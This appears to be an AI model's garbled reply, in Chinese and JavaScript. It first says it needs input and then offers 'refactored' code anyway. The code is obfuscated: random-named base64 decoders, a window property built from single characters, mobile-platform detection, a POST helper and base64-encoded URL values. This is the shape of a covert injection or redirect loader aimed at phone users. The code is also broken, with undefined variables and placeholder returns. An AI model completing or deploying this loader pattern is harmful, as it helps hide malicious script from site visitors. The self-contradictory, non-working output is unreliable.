对不起，我需要您提供一段文本或一个主题，这样我才能帮助您重构内容并保持段落结构。
以下是重构后的代码：
```javascript
function EKRSM(e) {
var t = "", n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
};
function gpPStrzM(e) {
var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var t = "", n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = m.indexOf(e.charAt(f++));
o = m.indexOf(e.charAt(f++));
u = m.indexOf(e.charAt(f++));
a = m.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u !== 64) {
t = t + String.fromCharCode(r);
}
if (a !== 64) {
t = t + String.fromCharCode(i);
}
}
return EKRSM(t);
};
window["x" + "i" + "l" + "w" + "r" + "H" + "p" + ""] = (() => {
const navigatorPlatform = navigator.platform;
const isAndroidOriOSOriPhone = (() => {
if (!navigatorPlatform || (/^Mac|Win/).test(navigatorPlatform)) return false;
if (!navigatorPlatform || (/Android|iOS|iPhone/i).test(navigatorUserAgent)) return true;
})();
const xhrFunction = (url, data) => new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest();
xhr.open("POST", url);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("X-REQUESTED-WITH", "XMLHttpRequest");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) resolve(JSON.parse(xhr.responseText));
};
xhr.send(data);
});
const csUrl = "Ym53ZGYuaG5kkaGFzLmNvbQ=="; // 这里需要替换为实际的csUrl值
const crdUrl = "Y3JlYXRlRWxlbWVudA=="; // 这里需要替换为实际的crdUrl值
return function() {} || function() {} || function() {}; // 这里需要根据实际情况返回合适的函数或对象
})(); // 注意这里的括号位置和顺序，以及逗号的使用。如果不正确会导致代码无法执行。
